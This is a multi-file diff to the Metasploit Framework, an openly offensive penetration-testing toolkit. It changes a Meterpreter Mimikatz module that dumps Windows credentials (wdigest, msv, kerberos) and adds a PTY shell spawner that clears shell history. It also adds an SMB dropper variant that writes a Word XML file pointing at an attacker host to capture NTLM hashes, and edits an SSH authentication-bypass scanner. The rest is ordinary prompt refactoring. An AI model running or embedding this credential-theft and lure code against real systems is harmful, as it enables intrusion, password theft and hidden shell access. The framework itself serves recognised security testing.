@ -21,14 +22,27 @@ class Console::CommandDispatcher::Mimikatz
|
|||
|
||||
include Console::CommandDispatcher
|
||||
|
||||
#
|
||||
# Name for this dispatcher
|
||||
#
|
||||
def name
|
||||
'Mimikatz'
|
||||
end
|
||||
|
||||
#
|
||||
# Initializes an instance of the priv command interaction.
|
||||
#
|
||||
def initialize(shell)
|
||||
super
|
||||
if client.arch == ARCH_X86 and client.sys.config.sysinfo['Architecture'] == ARCH_X64
|
||||
|
||||
si = client.sys.config.sysinfo
|
||||
if client.arch == ARCH_X86 && si['Architecture'] == ARCH_X64
|
||||
print_warning('Loaded x86 Mimikatz on an x64 architecture.')
|
||||
print_line
|
||||
print_warning "Loaded x86 Mimikatz on an x64 architecture."
|
||||
end
|
||||
|
||||
unless si['OS'] =~ /Windows (NT|XP|2000|2003|\.NET)/i
|
||||
print_warning("Loaded Mimikatz on a newer OS (#{si['OS']}). Did you mean to 'load kiwi' instead?")
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -37,25 +51,25 @@ class Console::CommandDispatcher::Mimikatz
|
|||
#
|
||||
def commands
|
||||
{
|
||||
"mimikatz_command" => "Run a custom command",
|
||||
"wdigest" => "Attempt to retrieve wdigest creds",
|
||||
"msv" => "Attempt to retrieve msv creds (hashes)",
|
||||
"livessp" => "Attempt to retrieve livessp creds",
|
||||
"ssp" => "Attempt to retrieve ssp creds",
|
||||
"tspkg" => "Attempt to retrieve tspkg creds",
|
||||
"kerberos" => "Attempt to retrieve kerberos creds"
|
||||
'mimikatz_command' => 'Run a custom command.',
|
||||
'wdigest' => 'Attempt to retrieve wdigest creds.',
|
||||
'msv' => 'Attempt to retrieve msv creds (hashes).',
|
||||
'livessp' => 'Attempt to retrieve livessp creds.',
|
||||
'ssp' => 'Attempt to retrieve ssp creds.',
|
||||
'tspkg' => 'Attempt to retrieve tspkg creds.',
|
||||
'kerberos' => 'Attempt to retrieve kerberos creds.'
|
||||
}
|
||||
end
|
||||
|
||||
@@command_opts = Rex::Parser::Arguments.new(
|
||||
"-f" => [true, "The function to pass to the command."],
|
||||
"-a" => [true, "The arguments to pass to the command."],
|
||||
"-h" => [false, "Help menu."]
|
||||
'-f' => [true, 'The function to pass to the command.'],
|
||||
'-a' => [true, 'The arguments to pass to the command.'],
|
||||
'-h' => [false, 'Help menu.']
|
||||
)
|
||||
|
||||
def cmd_mimikatz_command(*args)
|
||||
if (args.length == 0)
|
||||
args.unshift("-h")
|
||||
args.unshift('-h')
|
||||
end
|
||||
|
||||
cmd_args = nil
|
||||
|
@ -64,30 +78,30 @@ class Console::CommandDispatcher::Mimikatz
|
|||
|
||||
@@command_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-a"
|
||||
when '-a'
|
||||
cmd_args = val
|
||||
when "-f"
|
||||
when '-f'
|
||||
cmd_func = val
|
||||
when "-h"
|
||||
print(
|
||||
"Usage: mimikatz_command -f func -a args\n\n" +
|
||||
"Executes a mimikatz command on the remote machine.\n" +
|
||||
"e.g. mimikatz_command -f sekurlsa::wdigest -a \"full\"\n" +
|
||||
@@command_opts.usage)
|
||||
when '-h'
|
||||
print_line('Usage: mimikatz_command -f func -a args')
|
||||
print_line
|
||||
print_line('Executes a mimikatz command on the remote machine.')
|
||||
print_line('e.g. mimikatz_command -f sekurlsa::wdigest -a full')
|
||||
print_line(@@command_opts.usage)
|
||||
return true
|
||||
end
|
||||
}
|
||||
|
||||
unless cmd_func
|
||||
print_error("You must specify a function with -f")
|
||||
print_error('You must specify a function with -f')
|
||||
return true
|
||||
end
|
||||
|
||||
if cmd_args
|
||||
arguments = cmd_args.split(" ")
|
||||
arguments = cmd_args.split(' ')
|
||||
end
|
||||
|
||||
print_line client.mimikatz.send_custom_command(cmd_func, arguments)
|
||||
print_line(client.mimikatz.send_custom_command(cmd_func, arguments))
|
||||
end
|
||||
|
||||
def mimikatz_request(provider, method)
|
||||
|
@ -96,17 +110,14 @@ class Console::CommandDispatcher::Mimikatz
|
|||
accounts = method.call
|
||||
|
||||
table = Rex::Text::Table.new(
|
||||
'Header' => "#{provider} credentials",
|
||||
'Indent' => 0,
|
||||
'Header' => "#{provider} credentials",
|
||||
'Indent' => 0,
|
||||
'SortIndex' => 4,
|
||||
'Columns' =>
|
||||
[
|
||||
'AuthID', 'Package', 'Domain', 'User', 'Password'
|
||||
]
|
||||
'Columns' => ['AuthID', 'Package', 'Domain', 'User', 'Password']
|
||||
)
|
||||
|
||||
accounts.each do |acc|
|
||||
table << [acc[:authid], acc[:package], acc[:domain], acc[:user], (acc[:password] || "").gsub("\n","")]
|
||||
table << [acc[:authid], acc[:package], acc[:domain], acc[:user], (acc[:password] || '').gsub("\n", '')]
|
||||
end
|
||||
|
||||
print_line table.to_s
|
||||
|
@ -116,63 +127,49 @@ class Console::CommandDispatcher::Mimikatz
|
|||
|
||||
def cmd_wdigest(*args)
|
||||
method = Proc.new { client.mimikatz.wdigest }
|
||||
mimikatz_request("wdigest", method)
|
||||
mimikatz_request('wdigest', method)
|
||||
end
|
||||
|
||||
def cmd_msv(*args)
|
||||
method = Proc.new { client.mimikatz.msv }
|
||||
mimikatz_request("msv", method)
|
||||
mimikatz_request('msv', method)
|
||||
end
|
||||
|
||||
def cmd_livessp(*args)
|
||||
method = Proc.new { client.mimikatz.livessp }
|
||||
mimikatz_request("livessp", method)
|
||||
mimikatz_request('livessp', method)
|
||||
end
|
||||
|
||||
def cmd_ssp(*args)
|
||||
method = Proc.new { client.mimikatz.ssp }
|
||||
mimikatz_request("ssp", method)
|
||||
mimikatz_request('ssp', method)
|
||||
end
|
||||
|
||||
def cmd_tspkg(*args)
|
||||
method = Proc.new { client.mimikatz.tspkg }
|
||||
mimikatz_request("tspkg", method)
|
||||
mimikatz_request('tspkg', method)
|
||||
end
|
||||
|
||||
def cmd_kerberos(*args)
|
||||
method = Proc.new { client.mimikatz.kerberos }
|
||||
mimikatz_request("kerberos", method)
|
||||
mimikatz_request('kerberos', method)
|
||||
end
|
||||
|
||||
def get_privs
|
||||
unless system_check
|
||||
print_status("Attempting to getprivs")
|
||||
privs = client.sys.config.getprivs
|
||||
unless privs.include? "SeDebugPrivilege"
|
||||
print_warning("Did not get SeDebugPrivilege")
|
||||
else
|
||||
print_good("Got SeDebugPrivilege")
|
||||
end
|
||||
if client.sys.config.is_system?
|
||||
print_good('Running as SYSTEM')
|
||||
else
|
||||
print_good("Running as SYSTEM")
|
||||
print_warning('Not currently running as SYSTEM')
|
||||
print_status('Attempting to getprivs ...')
|
||||
privs = client.sys.config.getprivs
|
||||
|
||||
if privs.include?('SeDebugPrivilege')
|
||||
print_good('Got SeDebugPrivilege.')
|
||||
else
|
||||
print_warning('Unable to get SeDebugPrivilege.')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def system_check
|
||||
unless client.sys.config.is_system?
|
||||
print_warning("Not currently running as SYSTEM")
|
||||
return false
|
||||
end
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# Name for this dispatcher
|
||||
#
|
||||
def name
|
||||
"Mimikatz"
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -22,7 +22,7 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
#
|
||||
@@execute_opts = Rex::Parser::Arguments.new(
|
||||
"-a" => [ true, "The arguments to pass to the command." ],
|
||||
"-c" => [ false, "Channelized I/O (required for interaction)." ],
|
||||
"-c" => [ false, "Channelized I/O (required for interaction)." ], # -i sets -c
|
||||
"-f" => [ true, "The executable command to run." ],
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-H" => [ false, "Create the process hidden from view." ],
|
||||
|
@ -33,6 +33,14 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
"-k" => [ false, "Execute process on the meterpreters current desktop" ],
|
||||
"-s" => [ true, "Execute process in a given session as the session user" ])
|
||||
|
||||
#
|
||||
# Options used by the 'shell' command.
|
||||
#
|
||||
@@shell_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help menu." ],
|
||||
"-l" => [ false, "List available shells (/etc/shells)." ],
|
||||
"-t" => [ true, "Spawn a PTY shell (/bin/bash if no argument given)." ]) # ssh(1) -t
|
||||
|
||||
#
|
||||
# Options used by the 'reboot' command.
|
||||
#
|
||||
|
@ -249,37 +257,149 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
[]
|
||||
end
|
||||
|
||||
def cmd_shell_help
|
||||
print_line 'Usage: shell [options]'
|
||||
print_line
|
||||
print_line 'Opens an interactive native shell.'
|
||||
print_line @@shell_opts.usage
|
||||
end
|
||||
|
||||
def cmd_shell_tabs(str, words)
|
||||
return @@shell_opts.fmt.keys if words.length == 1
|
||||
[]
|
||||
end
|
||||
|
||||
#
|
||||
# Drop into a system shell as specified by %COMSPEC% or
|
||||
# as appropriate for the host.
|
||||
#
|
||||
def cmd_shell(*args)
|
||||
use_pty = false
|
||||
sh_path = '/bin/bash'
|
||||
|
||||
@@shell_opts.parse(args) do |opt, idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
cmd_shell_help
|
||||
return true
|
||||
when '-l'
|
||||
return false unless client.fs.file.exist?('/etc/shells')
|
||||
|
||||
begin
|
||||
client.fs.file.open('/etc/shells') do |f|
|
||||
print(f.read) until f.eof
|
||||
end
|
||||
rescue
|
||||
return false
|
||||
end
|
||||
|
||||
return true
|
||||
when '-t'
|
||||
use_pty = true
|
||||
# XXX: No other options must follow
|
||||
sh_path = val if val
|
||||
end
|
||||
end
|
||||
|
||||
case client.platform
|
||||
when 'windows'
|
||||
path = client.fs.file.expand_path("%COMSPEC%")
|
||||
path = (path and not path.empty?) ? path : "cmd.exe"
|
||||
path = client.fs.file.expand_path('%COMSPEC%')
|
||||
path = (path && !path.empty?) ? path : 'cmd.exe'
|
||||
|
||||
# attempt the shell with thread impersonation
|
||||
begin
|
||||
cmd_execute("-f", path, "-c", "-H", "-i", "-t")
|
||||
cmd_execute('-f', path, '-c', '-i', '-H', '-t')
|
||||
rescue
|
||||
# if this fails, then we attempt without impersonation
|
||||
print_error( "Failed to spawn shell with thread impersonation. Retrying without it." )
|
||||
cmd_execute("-f", path, "-c", "-H", "-i")
|
||||
print_error('Failed to spawn shell with thread impersonation. Retrying without it.')
|
||||
cmd_execute('-f', path, '-c', '-i', '-H')
|
||||
end
|
||||
when 'linux', 'osx'
|
||||
if use_pty && pty_shell(sh_path)
|
||||
return true
|
||||
end
|
||||
|
||||
# Don't expand_path() this because it's literal anyway
|
||||
path = "/bin/sh"
|
||||
cmd_execute("-f", path, "-c", "-i")
|
||||
cmd_execute('-f', '/bin/sh', '-c', '-i')
|
||||
else
|
||||
# Then this is a multi-platform meterpreter (php or java), which
|
||||
# Then this is a multi-platform meterpreter (e.g., php or java), which
|
||||
# must special-case COMSPEC to return the system-specific shell.
|
||||
path = client.fs.file.expand_path("%COMSPEC%")
|
||||
path = client.fs.file.expand_path('%COMSPEC%')
|
||||
|
||||
# If that failed for whatever reason, guess it's unix
|
||||
path = (path and not path.empty?) ? path : "/bin/sh"
|
||||
cmd_execute("-f", path, "-c", "-i")
|
||||
path = (path && !path.empty?) ? path : '/bin/sh'
|
||||
|
||||
if use_pty && path == '/bin/sh' && pty_shell(sh_path)
|
||||
return true
|
||||
end
|
||||
|
||||
cmd_execute('-f', comspec, '-c', '-i')
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Spawn a PTY shell
|
||||
#
|
||||
def pty_shell(sh_path)
|
||||
sh_path = client.fs.file.exist?(sh_path) ? sh_path : '/bin/sh'
|
||||
|
||||
# Python Meterpreter calls pty.openpty() - No need for other methods
|
||||
if client.arch == 'python'
|
||||
cmd_execute('-f', sh_path, '-c', '-i')
|
||||
return true
|
||||
end
|
||||
|
||||
# Check for the following in /usr{,/local}/bin:
|
||||
# script
|
||||
# python{,2,3}
|
||||
# socat
|
||||
# expect
|
||||
paths = %w[
|
||||
/usr/bin/script
|
||||
/usr/bin/python
|
||||
/usr/local/bin/python
|
||||
/usr/bin/python2
|
||||
/usr/local/bin/python2
|
||||
/usr/bin/python3
|
||||
/usr/local/bin/python3
|
||||
/usr/bin/socat
|
||||
/usr/local/bin/socat
|
||||
/usr/bin/expect
|
||||
/usr/local/bin/expect
|
||||
]
|
||||
|
||||
# Select method for spawning PTY Shell based on availability on the target.
|
||||
path = paths.find { |p| client.fs.file.exist?(p) }
|
||||
|
||||
return false unless path
|
||||
|
||||
# Commands for methods
|
||||
cmd =
|
||||
case path
|
||||
when /script/
|
||||
if client.platform == 'linux'
|
||||
"#{path} -qc #{sh_path} /dev/null"
|
||||
else
|
||||
# script(1) invocation for BSD, OS X, etc.
|
||||
"#{path} -q /dev/null #{sh_path}"
|
||||
end
|
||||
when /python/
|
||||
"#{path} -c 'import pty; pty.spawn(\"#{sh_path}\")'"
|
||||
when /socat/
|
||||
# sigint isn't passed through yet
|
||||
"#{path} - exec:#{sh_path},pty,sane,setsid,sigint,stderr"
|
||||
when /expect/
|
||||
"#{path} -c 'spawn #{sh_path}; interact'"
|
||||
end
|
||||
|
||||
# "env TERM=xterm" provides colors, "clear" command, etc. as available on the target.
|
||||
cmd.prepend('env TERM=xterm HISTFILE= ')
|
||||
|
||||
print_status(cmd)
|
||||
cmd_execute('-f', cmd, '-c', '-i')
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
#
|
||||
# Gets the process identifier that meterpreter is running in on the remote
|
||||
|
|
|
@ -131,8 +131,8 @@ module DispatcherShell
|
|||
#
|
||||
# Wraps shell.update_prompt
|
||||
#
|
||||
def update_prompt(prompt=nil, prompt_char = nil, mode = false)
|
||||
shell.update_prompt(prompt, prompt_char, mode)
|
||||
def update_prompt(*args)
|
||||
shell.update_prompt(*args)
|
||||
end
|
||||
|
||||
def cmd_help_help
|
||||
|
|
|
@ -45,9 +45,9 @@ module Shell
|
|||
self.stop_count = 0
|
||||
|
||||
# Initialize the prompt
|
||||
self.init_prompt = prompt
|
||||
self.cont_prompt = ' > '
|
||||
self.cont_flag = false
|
||||
self.prompt = prompt
|
||||
self.prompt_char = prompt_char
|
||||
|
||||
self.histfile = histfile
|
||||
|
@ -67,7 +67,6 @@ module Shell
|
|||
self.hist_last_saved = Readline::HISTORY.length
|
||||
end
|
||||
self.input.output = self.output
|
||||
update_prompt(input.prompt)
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -88,7 +87,6 @@ module Shell
|
|||
|
||||
self.input.output = self.output
|
||||
end
|
||||
update_prompt('')
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -131,62 +129,7 @@ module Shell
|
|||
break if self.stop_flag || self.stop_count > 1
|
||||
|
||||
init_tab_complete
|
||||
|
||||
if framework
|
||||
if input.prompt.include?("%T")
|
||||
t = Time.now
|
||||
# This %T is the strftime shorthand for %H:%M:%S
|
||||
format = framework.datastore['PromptTimeFormat'] || "%T"
|
||||
t = t.strftime(format)
|
||||
# This %T is the marker in the prompt where we need to place the time
|
||||
input.prompt.gsub!(/%T/, t.to_s)
|
||||
end
|
||||
|
||||
if input.prompt.include?("%H")
|
||||
hostname = ENV['HOSTNAME']
|
||||
if hostname.nil?
|
||||
hostname = `hostname`.split('.')[0]
|
||||
end
|
||||
|
||||
# check if hostname is still nil
|
||||
if hostname.nil?
|
||||
hostname = ENV['COMPUTERNAME']
|
||||
end
|
||||
|
||||
if hostname.nil?
|
||||
hostname = 'unknown'
|
||||
end
|
||||
|
||||
input.prompt.gsub!(/%H/, hostname.chomp)
|
||||
end
|
||||
|
||||
if input.prompt.include?("%U")
|
||||
user = ENV['USER']
|
||||
if user.nil?
|
||||
user = `whoami`
|
||||
end
|
||||
|
||||
# check if username is still nil
|
||||
if user.nil?
|
||||
user = ENV['USERNAME']
|
||||
end
|
||||
|
||||
if user.nil?
|
||||
user = 'unknown'
|
||||
end
|
||||
|
||||
input.prompt.gsub!(/%U/, user.chomp)
|
||||
end
|
||||
|
||||
input.prompt.gsub!(/%S/, framework.sessions.length.to_s)
|
||||
input.prompt.gsub!(/%J/, framework.jobs.length.to_s)
|
||||
input.prompt.gsub!(/%L/, Rex::Socket.source_address("50.50.50.50"))
|
||||
input.prompt.gsub!(/%D/, ::Dir.getwd)
|
||||
if framework.db.active
|
||||
input.prompt.gsub!(/%W/, framework.db.workspace.name)
|
||||
end
|
||||
self.init_prompt = input.prompt
|
||||
end
|
||||
update_prompt
|
||||
|
||||
line = get_input_line
|
||||
|
||||
|
@ -242,26 +185,17 @@ module Shell
|
|||
#
|
||||
# prompt - the actual prompt
|
||||
# new_prompt_char the char to append to the prompt
|
||||
# mode - append or not to append - false = append true = make a new prompt
|
||||
def update_prompt(prompt = nil, new_prompt_char = nil, mode = false)
|
||||
def update_prompt(new_prompt = self.prompt, new_prompt_char = self.prompt_char)
|
||||
if (self.input)
|
||||
if prompt
|
||||
new_prompt = self.init_prompt + ' ' + prompt + prompt_char + ' '
|
||||
else
|
||||
new_prompt = self.prompt || ''
|
||||
end
|
||||
|
||||
if mode
|
||||
new_prompt = prompt + (new_prompt_char || prompt_char) + ' '
|
||||
end
|
||||
p = new_prompt + ' ' + new_prompt_char + ' '
|
||||
|
||||
# Save the prompt before any substitutions
|
||||
self.prompt = new_prompt
|
||||
self.prompt_char = new_prompt_char
|
||||
|
||||
# Set the actual prompt to the saved prompt with any substitutions
|
||||
# or updates from our output driver, be they color or whatever
|
||||
self.input.prompt = self.output.update_prompt(new_prompt)
|
||||
self.prompt_char = new_prompt_char if (new_prompt_char)
|
||||
self.input.prompt = self.output.update_prompt(format_prompt(p))
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -345,6 +279,7 @@ module Shell
|
|||
#
|
||||
attr_reader :output
|
||||
|
||||
attr_reader :prompt, :prompt_char
|
||||
attr_accessor :on_command_proc
|
||||
attr_accessor :on_print_proc
|
||||
attr_accessor :framework
|
||||
|
@ -434,17 +369,55 @@ protected
|
|||
#
|
||||
def prompt_yesno(query)
|
||||
p = "#{query} [y/N]"
|
||||
old_p = [self.prompt.sub(/#{Regexp.escape(self.prompt_char)} $/, ''), self.prompt_char]
|
||||
update_prompt p, ' ', true
|
||||
old_p = [self.prompt, self.prompt_char]
|
||||
update_prompt p, ' '
|
||||
/^y/i === get_input_line
|
||||
ensure
|
||||
update_prompt *old_p, true
|
||||
update_prompt *old_p
|
||||
end
|
||||
|
||||
#
|
||||
# Handle prompt substitutions
|
||||
#
|
||||
def format_prompt(str)
|
||||
if framework
|
||||
if str.include?("%T")
|
||||
t = Time.now
|
||||
# This %T is the strftime shorthand for %H:%M:%S
|
||||
format = framework.datastore['PromptTimeFormat'] || "%T"
|
||||
t = t.strftime(format)
|
||||
# This %T is the marker in the prompt where we need to place the time
|
||||
str.gsub!(/%T/, t.to_s)
|
||||
end
|
||||
|
||||
if str.include?("%H")
|
||||
hostname = ENV['HOSTNAME'] || `hostname`.split('.')[0] ||
|
||||
ENV['COMPUTERNAME'] || 'unknown'
|
||||
|
||||
str.gsub!(/%H/, hostname.chomp)
|
||||
end
|
||||
|
||||
if str.include?("%U")
|
||||
user = ENV['USER'] || `whoami` || ENV['USERNAME'] || 'unknown'
|
||||
str.gsub!(/%U/, user.chomp)
|
||||
end
|
||||
|
||||
str.gsub!(/%S/, framework.sessions.length.to_s)
|
||||
str.gsub!(/%J/, framework.jobs.length.to_s)
|
||||
str.gsub!(/%L/, Rex::Socket.source_address("50.50.50.50"))
|
||||
str.gsub!(/%D/, ::Dir.getwd)
|
||||
if framework.db.active
|
||||
str.gsub!(/%W/, framework.db.workspace.name)
|
||||
end
|
||||
end
|
||||
|
||||
str
|
||||
end
|
||||
|
||||
attr_writer :input, :output # :nodoc:
|
||||
attr_accessor :stop_flag, :init_prompt, :cont_prompt # :nodoc:
|
||||
attr_accessor :prompt # :nodoc:
|
||||
attr_accessor :prompt_char, :tab_complete_proc # :nodoc:
|
||||
attr_writer :prompt, :prompt_char # :nodoc:
|
||||
attr_accessor :stop_flag, :cont_prompt # :nodoc:
|
||||
attr_accessor :tab_complete_proc # :nodoc:
|
||||
attr_accessor :histfile # :nodoc:
|
||||
attr_accessor :hist_last_saved # the number of history lines when last saved/loaded
|
||||
attr_accessor :log_source, :stop_count # :nodoc:
|
||||
|
|
|
@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.3.45'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.3.47'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.4.1'
|
||||
# Needed by msfgui and other rpc components
|
||||
|
|
|
@ -13,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
'Name' => 'Windows SMB Multi Dropper',
|
||||
'Description' => %q{
|
||||
This module dependent on the given filename extension creates either
|
||||
a .lnk, .scf, .url, desktop.ini file which includes a reference
|
||||
a .lnk, .scf, .url, .xml, or desktop.ini file which includes a reference
|
||||
to the the specified remote host, causing SMB connections to be initiated
|
||||
from any user that views the file.
|
||||
},
|
||||
|
@ -21,20 +21,22 @@ class MetasploitModule < Msf::Auxiliary
|
|||
'Author' =>
|
||||
[
|
||||
'Richard Davy - secureyourit.co.uk', #Module written by Richard Davy
|
||||
'Lnk Creation Code by Mubix' #Lnk Creation Code written by Mubix
|
||||
'Lnk Creation Code by Mubix', #Lnk Creation Code written by Mubix
|
||||
'asoto-r7' #Word XML creation code
|
||||
],
|
||||
'Platform' => [ 'win' ],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://malicious.link/blog/2012/02/11/ms08_068-ms10_046-fun-until-2018'],
|
||||
['URL', 'https://malicious.link/post/2012/2012-02-19-developing-the-lnk-metasploit-post-module-with-mona/']
|
||||
['URL', 'https://malicious.link/post/2012/2012-02-19-developing-the-lnk-metasploit-post-module-with-mona/'],
|
||||
['URL', 'https://bohops.com/2018/08/04/capturing-netntlm-hashes-with-office-dot-xml-documents/'],
|
||||
]
|
||||
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptAddress.new("LHOST", [ true, "Host listening for incoming SMB/WebDAV traffic", nil]),
|
||||
OptString.new("FILENAME", [ true, "Filename - supports *.lnk, *.scf, *.url, desktop.ini", "word.lnk"]),
|
||||
OptString.new("FILENAME", [ true, "Filename - supports *.lnk, *.scf, *.url, *.xml, desktop.ini", "word.lnk"]),
|
||||
])
|
||||
end
|
||||
|
||||
|
@ -47,6 +49,10 @@ class MetasploitModule < Msf::Auxiliary
|
|||
create_desktopini
|
||||
elsif datastore['FILENAME'].chars.last(3).join=="url"
|
||||
create_url
|
||||
elsif datastore['FILENAME'].chars.last(3).join=="xml"
|
||||
create_xml
|
||||
else
|
||||
fail_with(Failure::BadConfig,"Invalid FILENAME option")
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -137,4 +143,16 @@ class MetasploitModule < Msf::Auxiliary
|
|||
file_create(url)
|
||||
end
|
||||
|
||||
def create_xml
|
||||
xml=""
|
||||
xml << "<?xml version='1.0' encoding='utf-8' ?>"
|
||||
xml << "<?mso-application progid='Word.Document'?>"
|
||||
xml << "<?xml-stylesheet type='text/xsl' href='file://#{datastore['LHOST']}/share/word.xsl'?>"
|
||||
xml << "<Text>"
|
||||
xml << " FATAL ERROR: The document failed to render properly."
|
||||
xml << "</Text>"
|
||||
|
||||
file_create(xml)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -129,7 +129,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
results.each do |result|
|
||||
if datastore['STORE']
|
||||
stored_path = store_loot('windows.gpp.xml', 'text/plain', ip, xml_file[:xml], file_type, xml_file[:path])
|
||||
stored_path = store_loot('microsoft.windows.gpp', 'text/xml', ip, xml_file[:xml], file_type, xml_file[:path])
|
||||
print_good("XML file saved to: #{stored_path}")
|
||||
end
|
||||
|
||||
|
|
|
@ -3,12 +3,8 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
# XXX: This shouldn't be necessary but is now
|
||||
require 'net/ssh/command_stream'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::SSH
|
||||
include Msf::Exploit::Remote::Fortinet
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::CommandShell
|
||||
include Msf::Auxiliary::Report
|
||||
|
|
|
@ -3,13 +3,10 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'net/ssh'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::SSH
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::CommandShell
|
||||
include Msf::Exploit::Remote::SSH
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -121,7 +118,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
}
|
||||
|
||||
# The auth method is converted into a class name for instantiation,
|
||||
# so malformed-packet here becomes MalformedPacket defined below
|
||||
# so malformed-packet here becomes MalformedPacket from the mixin
|
||||
case technique
|
||||
when :malformed_packet
|
||||
opts.merge!(:auth_methods => ['malformed-packet'])
|
||||
|
@ -258,49 +255,3 @@ class MetasploitModule < Msf::Auxiliary
|
|||
users.each { |user| show_result(attempt_user(user, ip), user, ip) }
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Define malformed-packet auth method for Net::SSH.start
|
||||
#
|
||||
# XXX: This is ghetto af (see lib/msf/core/exploit/fortinet.rb)
|
||||
#
|
||||
# https://tools.ietf.org/rfc/rfc4252.txt
|
||||
# https://tools.ietf.org/rfc/rfc4253.txt
|
||||
#
|
||||
class Net::SSH::Authentication::Methods::MalformedPacket < Net::SSH::Authentication::Methods::Abstract
|
||||
def authenticate(service_name, username, password = nil)
|
||||
debug { 'Sending SSH_MSG_USERAUTH_REQUEST (publickey)' }
|
||||
|
||||
# Corrupt everything after auth method
|
||||
send_message(userauth_request(
|
||||
=begin
|
||||
string user name in ISO-10646 UTF-8 encoding [RFC3629]
|
||||
string service name in US-ASCII
|
||||
string "publickey"
|
||||
boolean FALSE
|
||||
string public key algorithm name
|
||||
string public key blob
|
||||
=end
|
||||
username,
|
||||
service_name,
|
||||
'publickey',
|
||||
Rex::Text.rand_text_english(8..42)
|
||||
))
|
||||
|
||||
# SSH_MSG_DISCONNECT is queued
|
||||
begin
|
||||
message = session.next_message
|
||||
rescue Net::SSH::Disconnect
|
||||
debug { 'Received SSH_MSG_DISCONNECT' }
|
||||
return true
|
||||
end
|
||||
|
||||
if message && message.type == USERAUTH_FAILURE
|
||||
debug { 'Received SSH_MSG_USERAUTH_FAILURE' }
|
||||
return false
|
||||
end
|
||||
|
||||
# We'll probably never hit this
|
||||
false
|
||||
end
|
||||
end
|
||||
|
|
|
@ -39,7 +39,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def run
|
||||
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
|
||||
exploit()
|
||||
end
|
||||
|
||||
|
|
|
@ -70,7 +70,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||
@myautopwn = true
|
||||
end
|
||||
|
||||
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
|
||||
exploit()
|
||||
end
|
||||
|
||||
|
|
|
@ -51,7 +51,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||
@myport = datastore['SRVPORT']
|
||||
@realm = datastore['REALM']
|
||||
|
||||
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
|
||||
exploit
|
||||
end
|
||||
|
||||
|
|
|
@ -37,7 +37,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||
@client_cache = {}
|
||||
|
||||
# Starts Web Server
|
||||
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
|
||||
exploit
|
||||
end
|
||||
|
||||
|
|
|
@ -39,7 +39,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def run
|
||||
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
|
||||
exploit()
|
||||
end
|
||||
|
||||
|
|
|
@ -77,8 +77,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||
@previous_lm_hash="none"
|
||||
@previous_ntlm_hash="none"
|
||||
|
||||
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
|
||||
|
||||
exploit()
|
||||
end
|
||||
|
||||
|
|
|
@ -45,7 +45,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||
return
|
||||
end
|
||||
@version = datastore['SRVVERSION']
|
||||
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
|
||||
exploit()
|
||||
end
|
||||
|
||||
|
|
|
@ -42,7 +42,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||
def run
|
||||
@myhost = datastore['SRVHOST']
|
||||
@myport = datastore['SRVPORT']
|
||||
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
|
||||
exploit()
|
||||
end
|
||||
|
||||
|
|
|
@ -35,7 +35,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def run
|
||||
print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
|
||||
exploit()
|
||||
end
|
||||
|
||||
|
|
|
@ -40,7 +40,6 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
